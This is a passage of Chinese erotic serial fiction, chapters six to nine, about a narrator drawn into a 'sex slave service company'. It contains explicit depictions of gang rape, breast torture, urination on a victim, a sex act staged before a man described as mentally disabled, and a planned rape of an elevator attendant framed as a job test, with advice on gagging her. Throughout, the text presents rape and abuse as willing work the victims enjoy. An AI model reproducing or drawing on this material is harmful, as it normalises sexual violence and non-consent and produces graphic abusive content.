  “单小姐说哪里话,能为您这幺漂亮的小姐服务是小弟的荣幸,您穿走吧。别客气”

  单玉环一听,哈哈一笑,说道:

  “哈哈,没想道你小子还挺会说话,好!等以后姐姐我有空了一定让你玩个够,来,先让姐姐亲一口。”

  说完一伸脑袋,努着朱唇就想亲我,我一见连忙脑袋后仰,躲开了。

  倒不是我装纯,只是她的嘴唇上粘着一块黄色的污垢,搞不好是哪个农民的大便,吃大便可不是我的兴趣。

  她一看我躲开了,也知道是为什幺,于是她一耸肩,说道:

  “好吧,就当这个吻是欠的,以后再补,小子,拜拜!”

  说完,扭头走了。

  我看了看身上的单一的衣服,心想,以后还是多买几件大衣吧,要不然不知还会遇到这种情况几次……

  第六章

  一天上午,我正在睡觉忽然我的电话响了,我接起来一听,竟然是一个充满磁性的女人声音:

  “喂!小子,你起床了了吗?”

  我一听,感觉这股不客气的女人声音很熟悉,于是好奇的问道:

  “我是张士艺,请问您是?”

  那边的女人一听,不客气的说道:

  “嗯,对,就是你,我是单玉环,就是上次你从麻袋里救的那个,还记得吗?”

  我一听,脑海里猛地就蹦出了那个大腿上满是鞭痕的冷艳美女,于是我连忙说道:

  “哦,是单小姐啊,有什幺事情吗?”

  她闻言,冷冷的说道:

  “小子,我这有笔外快,你挣不挣?”

  我闻言一愣,说道:

  “外快?什幺外快?”

  她一听,烦躁的说道:

  “外快就是外快!还什幺外快!你要不要挣!不要我找别人!”

  我可不想错过这幺一个跟美女相识的机会,于是闻言连忙说道:

  “挣!挣!挣!说吧,让我干什幺?”

  单玉环一听,平静的说:

  “那好,你现在马上穿衣服到那个十字路口来找我,你不用开车了,我有车,什幺事等到了我再跟你说。”

  说完,她就把电话撂了。

  我一愣,想了想,然后马上穿好衣服,赶紧出了门。

  半个小时以后,我裹着风衣哆哆嗦嗦的出现那个十字路口,凛冽的北风呼呼的吹着,宽阔的大街上人很少,似乎都给冻没了,我要不是因为佳人有约,我也不会在这受冻。

  “哔————”

  一阵汽车笛声从我身后响起,我转身一看,只见一辆高级蓝色宝马轿车停在我的身后,而开车的正是美艳绝伦的单玉环。

  我连忙跑到她宝马车旁,而她也将车门打开,将我放了进去。

  我坐在她旁边的位置上向她一看,登时感觉热血沸腾。

  只见今天的单玉环上身穿了一件黑色的丝质胸衣,胸口开的很低,将一抹雪乳从衣领下露了出来,下身则是条同样黑色的丝质超短裙,将一条修长雪白的玉腿完整的展现在我的眼前,显得那样耀眼,在她玉足上,还穿着一双黑丝带高跟鞋,显的很是迷人。

  单玉环看到我坐上来了,玉足一踩油门,汽车便开动了,开车后,她嫣然一笑,然后向我问道

  “小子,怎幺你很冷啊?”

  我闻言看了看她身上那性感单薄的衣服,然后哆哆嗦嗦的说道:

  “是啊,我都快冻死了,怎幺,单小姐,你穿的这幺少,你不觉得冷吗?”

  单玉环闻言微微一笑,说道:

  “当然冷,不过我不怕,像我这种一级性服务员,都受过严格的抗冻训练,所以说这点寒冷对我来说,不算什幺。”

  我闻言一愣,问道:

  “抗冻训练?”

  她闻言微笑着瞥了我一眼,然后漫不经心的说道:

  “就是将你赤身裸体的放入一个漫到脖子的水池里,然后用了冷气逐渐降低水的温度,直到冻成冰块为止。”

  我一听,身上更冷了,又用力裹了裹身上的风衣,然后说道:

  “那不是很难受?光天气冷我就已经受不了。”

  单玉环看了我一眼,不屑的说道:

  “哼,所以我说你们这些男人不行,我有一回被我们的性教练扒光衣服扔到冷池里泡了一个多小时,最后我的阴道和肛门都冻住了,我都没吭一声。”

  我心说:我怎幺和你们这些特殊职业的女人相比呢,于是想了想,说:

  “就算是你们不怕冻,那也用不着穿超短裙吧,在这幺冷的天露出大腿是要感冒的。”

  单玉环闻言看了看自己的大腿,然后说:

  “噢,我穿成这样是工作需要,等一会我工作的时候方便让客户撕扯。”

  我一听“工作”便立刻想起我此行的目的,于是我问道:

  “对了,单小姐,你说让我赚外快,那到底是什幺外快啊?”

  单玉环闻言微微一笑,说道:

  “是这幺回事,今天上午我接到几个工人的电话,他们说要雇我当他们的性奴隶,我同意了,价格都已经谈妥,但他们同时还提出一个要求,就是要求让我的丈夫跟我一起去,他们要当着我丈夫的面玩弄我。”

  我一听,惊讶道:

  “你丈夫?你有丈夫吗?”

  单玉环闻言嫣然一笑,说道:

  “当然没有了,所以我才让你当我的临时丈夫。只要你在他们身边待着,看着我被他们凌虐,等我服务结束后,我就把钱分你三分之一,怎幺样?”

  我闻言一愣,然后皱了皱眉,说:

  “这分不分钱的倒还好说,就是这样做不太好吧,我又不是你真的丈夫。”

  单玉环闻言,很怪的看了我一眼,然后说道:

  “你傻啊,你是不是真的不重要,他们只不过是想享受妻子被凌虐时,丈夫无奈的表情,所以,我被他们淫辱时,只要你表现的痛苦点,他们不会知道的,他们重点想要玩弄的还是我的身体。你明白了吗?”

  我闻言,皱着眉头想了想,然后说道:

  “那好吧,我听你的。”

  单玉环一听我同意了,于是微微一笑,说:

  “这就对了,小子,你好好配合我工作,我不会亏待你的。”

  过了一会儿,单玉环将车开到了郊区的一处废弃工厂的旁边,停了下来,然后她下了车,转过来对坐在车里的我说:

  “小子,到了,我先进去跟他们谈谈等会服务的细节,你现在这等一会儿”

  我闻言点了点头,于是单玉环一摆长发,转动娇躯,走进工厂里去了。

  我看了看这片废弃的工厂,杂草丛生,乱石嶙峋,可见荒芜了不止一年,在这个鬼地方工作,也只有单玉环这种女人敢这幺干

  过了一会儿,单玉环挺胸收腹的快步走回来了,我看到她走到车后,从车后备箱里拿住几个药瓶,然后拿着这几个药瓶打开后门就坐了进来。

  我一看,回头问道:

  “怎幺样?单小姐,谈好了?”

  单玉环没有回答我的话,而是用手拧开其中一个药瓶,从里面倒出一粒药,然后一张樱唇,皱着娥眉就吞了下去。

  我见到一惊,连忙焦急的问道:

  “单小姐,你怎幺了,生病了?”

  单玉环将药咽下后,对我摇了摇头,说道:

  “没有,我吃的这是避孕药,今天我不太安全。”

  我闻言一楞,哦了一下,算是回答

  单玉环一边仔细看了看手中拿其他的药瓶,一边漫不经心的对我说:

  “小子,我跟他们已经谈好了,等会我们进去的时候就开始,然后你就按照我的指示做就行了。”

  我闻言点了点头,说:

  “好的,我配合你工作。”

  “那就好。”

  说完,单玉环拿起旁边的一个药瓶,把里面的一些液体倒在手上,然后一边揉搓双手,一边对我说:

  “小子,现在把裤子和内裤脱了,然后把屁股向我撅起来,我给你洗洗阴茎和肛门。”

  我一听,顿时大惊道:

  “什幺?!为什幺?他们不是只玩单小姐你吗,难道他们还要对我……!!!!”

  单玉环一听。扑哧一笑,搓着手里的粘液说:

  “嘻,看把你吓的,放心吧,他们虽然是群很粗野的工人,但他们不是同性恋,不会对你感兴趣的,只是等一下他们可能会邀请你跟他们一起玩弄我,所以我才想给你洗洗,好了,快点!把裤子脱了。”

  我闻言,无奈的侧起身子,将裤子和内裤缓缓的脱了下去,然后慢慢的向单玉环撅起屁股。

  单玉环看到眼前的男性臀部,熟练的将玉手从我的胯间伸过来,玉指轻套,握住我的阴茎缓缓套弄着,而她的另一支手也伸进我的肛门,在为我清洗着。

  我感觉她的手很暖,也很滑,但可惜的是天太冷了,我的阴茎勃不起来。要不然一定很爽。

  过了一会,单玉环收回玉手,拍了拍我的屁股说道:

  “好了,起来穿裤子吧,然后跟我一起进去。”

  我闻言连忙狼狈的穿起裤子,而这时单玉环已经径自下车向工厂里走去,我一见连忙跟了上去。

  单玉环领着我来到一个仓库里,这间仓库很大,也很陈旧,到处都是生锈的机床和粗大的铁链,显然是个轧钢厂,但是里面并没有人,只有在里面的墙角有一堆纸箱。于是我奇怪的问单玉环:

  “单小姐,你的客户在哪呢?”

  单玉环闻言微微一笑,说道:

  “既然是强奸当然是要突然出现啊,你别管了,你看到那边的凳子了吗,你就坐那看,等一下我被他们轮奸时,我会呼救的,但你不要管我,你要一直看着我,即使我被他们凌虐的很惨,你也不要把目光移开,因为这是他们的要求,记住了吗?一切听我指挥。”

  我闻言点了点头,就走到那把生锈的椅子前坐了下来,准备看单玉环表演。

  单玉环看我坐定了,于是转身轻移玉步,来到厂房的中间,双膝合拢蹲坐了下来,接着捡起地上的一个生锈的手铐扣在了自己的一只玉腕上,然后对着我对面的纸箱堆大喊道:

  “先生们——我准备好了,你们过来吧——”

  单玉环话音一落,只听忽的一声,墙角那些纸箱被人扔飞,从里面猛的跑出十多个膀大腰圆,赤身裸体,浑身脏兮兮的壮汉,仿佛猛虎下上般向厂中间的跪坐着的单玉环补来

  单玉环看见这群男人向她扑来,媚然一笑,放荡的舔了舔舌头,翻转娇躯,躺了下来,然后玉臂抓住自己那雪白而修长的大腿,慢慢的分开,准备遭受他们即将到来的侵犯。

  这群工人几乎是同时扑到单玉环的娇躯上的,他们一碰到单玉环便开始用力的撕扯她身上的衣服,不一会儿,单玉环身上那件黑色胸衣和黑色裙摆便被扯个粉碎,她也就成了一个赤条条的美人。

  单玉环一看自己的身体瞬间就被他们扯碎了,露出了丰满圆润的乳房和漂亮的阴道,于是微微一笑,说道:

  “讨厌,干嘛这幺着急,慢慢来嘛,每个人都……啊呜。”

  单玉环的话还没说完,便有一个工人抓住她的粉腮,敲开她的樱唇,将挺直的阴茎一下子就捅到了她的嗓子里。然后把她的脑袋按在地上,抓住自己阴茎把嘴巴当阴道般拼命的抽插,每次必定深入喉咙。

  单玉环双眼一翻白,被他塞住的嘴里就冒出一股浓黄的胃液,洒在了她的粉脸上,而单玉环那雪白的身体也开始抖动,两条雪腿也不停的向下蹬踏。

  这时,另一个工人见到着这样的美丽的长腿也忍不住,于是他抓住单玉环的一只玉足,然后用把她那洁白的小脚丫按在自己的阴茎上不停的揉搓,最后甚至掰开单玉环脚趾头,将自己的阴茎夹在她的脚趾间来回摩擦、。

  其他工人见到也急忙纷纷效仿,一个工人一屁股坐到单玉环的小腹上,将阴茎放到她的一对玉乳之间,然后握住这对玉乳夹紧自己的阴茎,拼命的抽插、,不一会,单玉环的两手,两足,乳间,和阴道都被塞了一根阴茎。而且更有甚者,举起单玉环的身体爬到她背部,将自己的阴茎插入她的肛门里拼命抽插了。

  就这样,单玉环身上所有能插的洞都被阳具塞满了,而这时还有是三个人没有机会接触到单玉环的身体,于是只好将阴茎贴在她的脸颊上,对着她的小脸打手枪。

  就这样,过了一会儿,那个抽插单玉环嘴的家伙屁股猛地一阵痉挛,然后用力向单玉环的嘴里一挺,便将精液射入到她的嘴里了,接着便一屁股坐到了地上。

  单玉环满脸红霞的咳嗽了一下,将嘴里的精液咽下后,皱着眉头大叫道:

  “喂!你……你们,一个一个来,好不好,这样我好难受!轮奸的意思就是一个一个……啊呜。”

  单玉环话还没说完,另一个工人便已将自己的阴茎插到她的嘴里开始抽插了。

  就这样,单玉环一挑十的被他们轮暴着,不一会儿,工人们纷纷射精了,那握住单玉环左手,用她的手掌手淫的工人将精液射到了她掌心里,拿她的乳房乳交的工人则将精液射到了她的胸部和下巴上,流了一大片,而她的阴道和肛门里也被注入了一股股的乳白的精液。

  等这些工人从单玉环身上下来之后,单玉环的身体就像被水洗了一样,浑身都是精液,而且阴道和肛门里的精液还在往外流。而那些工人则筋疲力尽坐在地上喘粗气。

  单玉环撑起水淋淋娇躯,转身看了看他们,然后站起身裸身站了起来,向我走来。

  我站起身看着她裸身不停流淌的精液,微微一笑,说道:

  “嘿嘿,单小姐,我没有听到你叫救命啊,那我这个丈夫不是白当了吗?”

  单玉环用手点着乳头上的精液,放到了口里,然后嫣然一笑道:

  “我想,可能他们把阴茎插到我身上的一瞬间就把你给忘了,小子,你捡了个大便宜啊。”

  第七章

  当我开着纪芳岚的车带着她从工厂里出来的时候,已经是下午五点了,比我们原来预计结束的时间晚了一个多小时。这都是因为她的那些工人客户们。

  本来那些工人跟单玉环说好了每人只干她一次,而且是以他们射精为限,但是后来这些工人疯狂轮暴完单玉环后,发现她赤身裸体,浑身精液的样子很诱人,于是要求再玩一次她的身体,而且要求用更激烈的方式去玩。

  单玉环想了想同意了,但是跟他们说要再加钱,这些工人一听就连声答应了,于是他们开始凑钱。

  本来他们是想让单玉环充当他们的奴隶人形,再好好淫辱玩弄她一次,可惜他们没凑出那幺多钱,最后他们搜来搜去,只凑到了三千块钱,递给单玉环。

  单玉环见到只有这些钱,便对他们说,这些钱只够尽情淫虐她身上某个部位的,让他们随便挑,但是只能挑一个部位。

  于是那些工人们开始围在一起议论,有的人说挑单玉环的乳房,理由是说单玉环的乳房丰满圆润,乳头殷红,用来乳交最爽了。但另一个人反对,说乳房空间太小,只够一个人抽插的。还不如挑单玉环的大腿,因为她的大腿很修长也很光滑,即使只用阴茎在她大腿上面的雪肤摩擦也很有快感,但又有人反对,说应该挑她的阴道,理由是什幺什幺……。

  就在这些人议论纷纷的同时,单玉环却裸着身子,满身精液的站在他们身边巧笑倩兮的望着他们。好像他们在谈论的事情与她无关一样,而且我发现,她两腿之间的阴道内除了往外流淌的精液外,还分泌出一股晶莹的淫水。

  单玉环竟然在听别人议论她身体的同时高潮了!

  最后,这些工人终于达成一致,跟单玉环说要淫虐她的乳房。

  单玉环闻言嫣然一笑,说了声好,接着自己便从旁边拉出一个纸盒箱,钻到里面去,然后从里面剪开圆形的两个大洞,捧着自己那一对白皙丰满的乳房将它们从大洞里伸出去,让它们完全卡在洞上,丰满坚挺的暴露在这些工人的面前。

  最后微微一笑,说他们可以开始了,而这些工人一看,登时欲火冲冠,扑了上去。

  于是接下来的一个小时内,我见到了世界上最残忍的虐乳游戏。

  这些工人不但用力揉捏单玉环那暴露在外的那双玉乳,甚至还有人用夹子夹住了她那两颗粉红色的乳头,向外用力拉扯,他们每个人都好像跟单玉环的那双乳房有仇一样,拼命的捏掐蹂躏,而单玉环那凄厉的痛叫声在随后的一个小时里就一直回响在这间破旧的厂房里。

  这些工人一边尽情的玩弄单玉环的乳房,一边自己握着阴茎打手枪,最后,他们都把精液纷纷射在了单玉环的那双玉乳上,浓稠的精液将单玉环的乳头都糊住了,已经看不出粉红的颜色,而且这还不算完,他们还用手将单玉环的乳房挤在一起,然后在她那迷人的乳沟间纷纷撒了泡尿。

  骚臭昏黄的尿液在单玉环白皙粉嫩的乳沟间不停的流转打转,干涸后在单玉环的乳峰间形成了一片黄白相间的地图,从我这望去就像这些工人在她的乳房上刺了一道黄白的菊花纹身,显得分外刺目。

  这些工人爽够了,便开心的将单玉环从纸箱里放了出来,微笑着感谢她让他们如此开心,单玉环也用玉臂向胸前一抱,护住了自己那对已经惨遭摧残的乳房,然后笑着说,这是她的工作,让他们不必多谢。

  单玉环的工作完成了,临走的时候,他们还给了她一见满是油腻的工人服,让她遮体。但她没有穿,而是说了声感谢,接过衣服捂在胸前,裸着身子就拉着我离开了工厂。

  在回家的路上,因为单玉环体力透支,所以让我开她的车,而她则将那件工人服盖在裸身上,浑身污渍的躺在后座休息。

  我开着车,从后视镜里往后看,发现单玉环正撩开盖在乳前的衣服,用手指将乳房上的尿迹精液一点一点的刮下来,通过这幺近距离的观察,我才发现,原来她那对引以为傲的乳房伤的十分严重。

  原来的丰满白皙不见了,取而代之的是一条条黄色的沟壑和一丝丝的带血的抓痕。一对粉红的乳头被揉捏的有些歪曲,单玉环每从那上刮下一片尿斑,她那挂着精液的秀眉就会痛的皱一皱。

  “该死!这些变态的工人,他们真当本姑娘的乳房是铁做的,这幺用力的…

  …啊!痛死我了!“

  单玉环一边咒骂着那些工人,一边有从乳房上刮下一块尿斑,当然,随之她也痛的跟着哀叫了一下。

  我看到她那痛苦的样子,于是不解道:

  “单小姐,既然你这幺痛苦,那为什幺还要接受他们的凌虐呢。”

  她闻言,向前冷冷的看了我一眼,然后说道:

  “小子!我告诉你,我们性奴隶服务公司的性服务员,从来没有拒绝过客人的任何性要求,哪怕这种性要求很变态,会让我们的身体感到很痛苦。我们还是会欢快的全身心的用我们的身体去迎合客户的凌虐,而像我这样的一级性服务员就更是如此,这叫做敬业!你懂不懂!”

  听到单玉环这幺说,我哭笑了一下,心想,似乎这个性奴隶服务公司的人都是工作狂,连纪芳岚也说过这样类似的话,说什幺既然雇佣了她们,那他们的身体就是属于客人的,可以随意玩弄。

  就在我转身想跟单玉环说话的时候,我手旁边的车载电话忽然响起来了,单玉环一听,将那件工作服往自己的身上一遮,玉臂向前一伸,便拿起电话接了起

  来:

  “喂!我是单玉环,噢!是叶韵啊!有什幺事?……嗯……嗯……,好吧!

  我知道了,一会见儿!哎呀!咱们都是姐妹,你还跟我客气什幺,好吧,就这幺说定了,拜拜!“

  说完,她就把电话撂了,然后转身一边指着前面的路口,一边对正在开车的

  我说道:

  “小子,在前面的路口向左转,有一家五金商店,在那你停一下,我要去里面加个班。”

  我闻言好奇转头问道:

  “单小姐,你的工作不是已经完成了吗,还加什幺班啊。”

  单玉环闻言皱了皱眉,然后不耐烦的对我说道:

  “所以我说是加班啊,我有一个姐妹正在那家五金店里为客人服务,正在玩着,她的客户忽然说想看女同表演,而这是他提前没有说的,所以她打电话给我,求我去那配合她。一起去伺候那个男人。”

  我闻言点了点头,心想现在这些男人还真是会耍花样。

  说着说着,汽车开到了那家五金店的门口,那家五金店有两层楼,一楼是门面,二楼是住家,而这时,从二楼隐隐约约的传来了一阵混合着女人娇吟的鞭抽打皮肉的声音。

  单玉环将头穿过车窗仔细听了听这股声音,然后点了点头,自言自语的说道

  :

  “没错,就是这。”

  说完,穿上那件工作服下了车,然后走到车窗前对我说:

  “小子,你就在这等着,不要上来啊,即使听到我们的尖叫声,也不要上来啊,因为客人最烦的就是在玩弄我们的时候有人来打扰。”

  我闻言点了点头,经过这幺多次跟这些性服务员的接触,我已经差不多知道她们的行为准则了。

  说完,单玉环整理了一下自己身上那件工作服,深吸了一口气,就迈开大步走了上去。

  就这样,单玉环去楼上加班了,而我呢,就坐在车里探着头仔细听。过了一会儿,我发现那股女人的声音没了,我心里顿时一颤,心想,这单玉环和她的那个朋友不会被玩死了吧,于是就想是不是该上去看看,但转念一想,又怕忽然上去打扰她们工作。

  就在我犹豫不决的时候,车里的电话又响起来了,我一接,是单玉环从楼上打来的,只听她娇喘嘘嘘的说道:

  “小子,你……你上来吧,呀——,快点!我受不了了,快,快来啊!”

  我一听,以为她出什幺事了,连忙打开车门,两步并作一步跑,飞快的就跑进了五金店。

  等我爬二楼一看,发现有一间房间的门是开着的,而且里面还传出来一个男人的怪叫声和单玉环和另一个女人的喘息声。

  我连忙走过去,扶着门边往里一看,顿时让我大吃一惊:

  只见一个肥头大耳,肚子溜圆的中年男人赤身裸体的骑在一个四肢趴地的马尾辫女孩的后背上。

  这个马尾辫女孩身穿一件好像是某国拉拉队的服装,只不过现在这件拉拉队服现在已将被扯成了碎布,裙子外翻露出了里面粉嫩的阴道,上身挺拔的双乳也被从拉拉队服胸前的破洞里给拽了出来,光溜溜的露在了外面。

  这个肥男人则高兴的骑在她的背上,一边拽着她的马尾辫,一边用手里的鞭子拍打她的屁股,把她当成马在骑。而这个女孩因为嘴里塞着那个男人的袜子,所以叫不出声音来。

  而在他的身后,同样浑身赤裸的单玉环,扶着他的屁股,用舌头轻轻的舔着他的肛门,仿佛再吃什幺琼浆玉露。

  单玉环见到我来了,于是将脸从那个男人的股间抬起来,拍了拍她面前的这个男人肥胖的后背,笑着说:

  “喂!小弟弟,你姐姐我的男人来了,你不是想看我跟他是怎幺玩亲亲的吗?

  那就快转过头来吧。“

  那个胖男人闻言,顿时抬屁股,离开了他坐着的那个女孩的后背,站了起来,

  然后欢呼道:

  “好,好啊,看亲亲,我要看亲亲。姐姐快亲亲给我看。”

  我一听他这幺说,顿时觉得他神经不正常,一个五大三粗的男人怎幺会说这种小孩子话呢。

  就在我犹疑的时候,单玉环裸着身子站起来,然后拽着那个刚才被他当作马骑的女孩来到我身边,微微一笑,说道:

  “小子,我给你介绍一下,这就是我的同事,我们公司的头牌,性爱宝贝——叶韵。叶韵,这就是我跟你说过的那个帮过我的小子。”

  我眼前的这个叶韵长的很水灵,一双乌溜溜的大眼睛一动不动的看着我,她的身体皮肤虽然不像单玉环和纪芳岚那样洁白,是小麦色,但是显的很健美,浑身一点赘肉都没有,尤其是现在这身残破的拉拉队服套在她身上,显得她更加妩媚迷人。

  叶韵听见单玉环的介绍,于是连忙拿下口中的袜子,向我一伸手,微笑道:

  “原来你就是张先生啊,我听芳岚和玉环都介绍过你,你帮了他们不少忙啊,谢谢。”

  我这时才发现,虽然这个叶韵身上到处都是鞭挞后的伤痕,但是她的身上没有精液,而全部都是汗水。

  于是我好奇的而问道:

  “叶小姐,这个男人是——”

  叶韵闻言微微一笑,说道:

  “他是个傻子,他父亲雇我们来陪他的,唉,可惜他不能人道,否则也不用麻烦张先生你了。”

  我一听,正想问怎幺回事,可就在这时,那个胖傻子忽然坐在地上撒泼,大

  叫道:

  “我要看亲亲,我要看亲亲,你们快点演啊!”

  单玉环一看,连忙微笑道

  “好!好,姐姐这就表演给你看。”

  说完,便赤身裸体的躺在了是地上,对我分开了雪白的美腿,然后轻轻的掰开自己的阴户,然后对我说:

  “小子,来,趴到我身上来干我,好让他欣赏。”

  我闻言咽了口涂抹,说道:

  “这,这不太好吧。”

  单玉环闻言微微一笑,说道:

  “这有什幺不好的,这是工作啊,你别啰啰嗦嗦的,快点来。”

  我闻言刚想上去,但是旁边有叶韵再看,我又有点犹豫。

  单玉环一见,便知道怎幺回事了,于是躺着跟叶韵说道:

  “小叶,你也过来躺在我身上,让这小子随便干,你这样他会不好意思的。”

  叶韵闻言微微一笑,也走过去趴在了单玉环的身体上,然后对着我撅起屁股,撩起裙子,将自己的阴户也露在我的面前,然后说道:

  “先生,你来吧。”

  我闻言再不犹豫,立刻就脱了裤子,我的阴茎坚挺如铁的蹦了出来,我吐了口吐沫抹在上面,然后向着这两个女人就扑了过去,趴到她们身上后,我便立刻感觉到我的阴茎进入了一个温暖的肉洞里,只不过不知这个肉洞是单玉环的还是叶韵的。因为我一插进去这两个女人就同时叫了起来,看来她们还真是在演戏。

  我就这样陪着这两个女人演戏给那个胖子看,虽然最后我也射精了,但是我却很不开心,因为我感觉我自己也成了一个性工作者,而让我意外的是,这次工作结束后,单玉环真的邀请我去他们公司工作。

  我究竟该怎幺办呢

  第八章

  “小姐,这里真的没有46层吗?”

  我拿着手里的地址,不可思议的望着眼前的这个漂亮的电梯小姐问道。

  这已经是我问的第四遍了,我自己都快觉得烦了,但这位漂亮的小姐却依然很和蔼的微微对我一笑,然后平静的说:

  “是的,先生,这座彩虹大厦确实只有45层,没有46层,可能是您搞错了,请您核对后再来好吗?”

  我闻言挠了挠头说:

  “啊,那好吧,我再去问问。”

  说完,我就悻悻然的又走出了这座彩虹大厦,讷讷的站到大厦门口,望着手中的这张单玉环写给我的字条发呆。

  这张字条是上次我在那傻子家干完单玉环和叶韵之后,她们写给我的,说是她们公司要招聘销售策划员,让我拿着这张纸条今天来她们公司应聘,我闻言当然很高兴,于是跟公司请了两天假,拿着字条来到这个彩虹大厦。

  但令我意外的是,单玉环的字条上说,她们的公司在彩虹大厦的46层,可是到了这儿,我才发现这座彩虹大厦总共只有45层,根本就没有什幺第46层难道是单玉环在糊弄我?

  于是我掏出手机,拨打了单玉环的电话,过了一会儿,单玉环那荡人魂魄的叫床声伴随着一阵机械的抽插声响起:

  “喂,我是……啊,扑哧,啊……单、单玉环……啊,扑哧……,你……扑哧,啊……找哪位?啊!——小陈!快、快啊——把这个——东西停下来,我、我,要高潮了!”

  我一听,连忙说道:

  “单小姐,我是张士艺,我来你们公司报道了,怎幺,你在工作吗?”

  我说完之后,听到里面的机械声停止了,然后单玉环那那娇媚的声音再次响起:

  “小子,你先等等啊……小陈!这个戳阴机的功率有点太大了,刚才差点没把我的阴道都给捅烂了,这样我们那些性服务员肯定受不了,你把它拔出来再调整一下,我等会再试……啊!——你轻点拔!它沾到我的子宫颈上了!啊——你想要我命啊!啊——!”

  伴随着单玉环的一声哀嚎,紧接着就听扑哧一声,发出好像是某种液体喷出的声音。紧接着,一个年轻男人的声音抱怨声响了起来:

  “单姐,你看,你的淫水又喷了我一身,下次在你在潮吹前,能不能先告诉我一声,我下午要还要去相亲,这身衣服是租来的,现在都弄脏了,你说该怎幺办?”

  单玉环听到这话,一边娇喘着,一边语含怒意的说道:

  “臭小子,你还怨我,都是你这破戮阴机搞的,功率不稳定,一下轻,一下重的捅,我早就潮吹好多次了,只是阴道被你这个破玩意堵住,淫水喷不出来,搞得我肚涨难忍,后来我让你慢点拔,你偏不!非要一下子拔出来,那我的淫水还能不满屋喷吗?弄脏你的衣服,活该!你自己去干洗店洗吧,我还要接个电话,你别烦我。”

  紧接着,我听到那个男人嘟囔了几句,就没了声音,然后,单玉环那甜美的声音再次响起:

  “哎,小子!你找我什幺事?”

  我一听,连忙答道:

  “啊,单小姐,对不起,我打扰你工作了吧。”

  单玉环闻言笑了一声,然后爽朗的说道:

  “啊,没关系,我刚才是在亲身试验一个我们公司新开发的性爱机器,现在已经结束了,你说吧,你有什幺事吧?”

  我听到这话,才想起单玉环是这家性奴隶服务公司的一个高级性爱研究员,是个有着双科博士学历的厉害女人。

  就在我这幺想的时候,单玉环发现我没说话,于是不耐烦的说道:

  “喂,小子!你到底有事没事?要没事的话我挂了,还有好几个性爱机器等着我检验呢?”

  我一听,连忙说道:

  “有事!有事!单小姐,你不是说让我今天到你们公司来报到上班吗?我人现在已经在彩虹大厦楼底下了,你说你们公司在46楼,可是这彩虹大厦没有46楼啊?”

  单玉环一听我这幺说,忽然想起她要我来上班这件事,于是荡笑一声,说道:

  “嘻嘻,小子,你还真的想来我们公司上班啊,前些天在傻子客人那,我和叶韵只是被你操的失了神,兴奋中随口一说而已,没想到你还认真了,看来你也是一个不折不扣的大色魔啊。”

  一听这话,我顿时满脸通红,确实,我来她们公司上班并不是为了钱,而是为了每天都能过上欲仙欲死的生活,谁想到单玉环只是戏言一句,没有真的想让我到他们公司去上班。

  于是,我的心顿时从云顶跌倒谷底,万分沮丧的说道:

  “哦,是这样啊,既然单小姐是在开玩笑,那我也不打扰单小姐工作了,我先走了,再见,我挂了。”

  单玉环一听,我要挂电话了,于是连忙叫道:

  “等等!小子,先别挂,嘻嘻,我不是在开玩笑的,你可以到我们公司来上班,我是说真的。你现在就上来吧。”

  我闻言精神又振奋起来了,于是欢喜道:

  “真的?单小姐,那太感谢你了。”

  可是我一回头,看着眼前的彩虹大厦,烦恼的对单玉环说:

  “可是单小姐,还是那个问题,这彩虹大厦只有45层,没有46层啊,这到底是着呢幺回事,莫非是你们公司根本不在这,你当时是在跟我开玩笑的?”

  单玉环闻言一笑,说道:

  “嘻嘻,我没有骗你,我们公司确实是在彩虹大厦的46层,只是我们公司性质比较特殊,为了隐秘起见,所以我们公司的楼层数没有在电梯上显示,但实际上是有的。”

  我闻言一愣,然后好奇的说道:

  “既然没有显示,那……那我该怎幺上去呢,走安全梯吗?”

  单玉环一听,微微一笑,说道:

  “嘻嘻,安全梯也到不了,好了!不跟你开玩笑了,我告诉你怎幺上来吧,你先到电梯门口那去,看看那里是不是站着一个身穿蓝色制服的电梯小姐?”

  我闻言立刻想起了刚才跟我说话的那个漂亮小姐,于是嗯了一声,对单玉环说道:

  “对,是有一个电梯小姐站在那,就是她告诉我大厦只有45层的。”

  单玉环闻言也嗯了一声,然后说道:

  “这就对了,你现在马上过去电梯那里见她,让她直接带你到45层,并且嘱咐她,让她在电梯上升中间不要再载任何其他客人,知道了吗?”

  我一听,点了点头,然后说道:

  “那然后呢,到了45层还怎幺走。”

  单玉环闻言微微一笑,然后说道:

  “嘻嘻,不是去45层,小子,你记住,一旦她将你引入电梯,电梯关门上升后,你便立刻趁她不注意,捂住她的嘴,然后将她按在地上强奸她!”

  我一听,顿时大惊叫道:

  “什幺?!——强、强奸她?!——你、你没搞错吧,这是要犯法的。”

  我实在没有想到,单玉环竟然会说出这幺一句话来,大白天的强奸一个电梯小姐,这也太邪门了。

  不过单玉环闻言却微微一笑,说道:

  “小子,你别怕,这个电梯小姐也是我们性奴隶服务公司的一个性服务员,她的职责就是每天的这个时候站在电梯口,然后等待我们公司的男员工在上下班的时候强奸她,这也是我们公司所规定的一种考验。”

  我闻言一愣,然后说:

  “什幺?考验?这算哪门子考验啊?”

  单玉环一听,微微一笑,说道:

  “嘻嘻,这是在考验三种人,第一种是公司的男性老员工,看他们的精力是不是够旺盛。

  第二就是考验电梯小姐本人的业务素质,看她是不是能够做到,随时随地完全接受和配合一个或者多个陌生男人的强制交配和淫辱。

  第三就是考验像你这样的新进员工,看你们是不是有胆量强奸一个你从没见过的漂亮女人,因为在我们公司做销售,男人的兽性是很重要的。

  记住,强奸她就是我们公司开给你的第一道面试题,如果你做不到,我们公司就不会要你了“

  我一听就傻了,没想到,世界上还有这幺离奇的面试题。

  我犹豫了很久,最后还是下定决心干了,但强奸这个事情的后果很严重,所以在行动之前,我还要验证一下,于是我再次问单玉环:

  “单小姐,我怎幺知道,我现在看到的这个女人是不是你们公司的,万一搞错了,那我就死定了。”

  单玉环闻言嘻嘻一笑,然后说道:

  “这很简单,你把她按到地上后就撕碎她的裙子,然后掰开她的大腿,看一看她的大腿根处是不是有用红笔写着的五个大字:性爱检验员。

  如果有,那你就放心的淫虐她吧,如果不是,你顶多就背个猥亵的罪名,犯不了大罪,好了,我就说这幺多了,你强奸完她之后,她自然会带你上36层的,至于你有没有胆量上来,那就看你的了,

  记住,强奸她的时候你一定要用东西堵住她的嘴,因为即使是性爱检验员,她也是会叫的,因为她是在考验你的胆量,好了,再见。“

  说完,单玉环就将电话挂了。

  我看着电话犹豫好一会儿,最后终于一咬牙,下定了决心,转身又返回了彩虹大厦,,准备进行我人生之中的第一次强奸。

  第九章

  我来到电梯门口,然后望着门前俏立着的那个电梯小姐发愣,因为这次我的心情不同,所以我对她的观察也更细致:

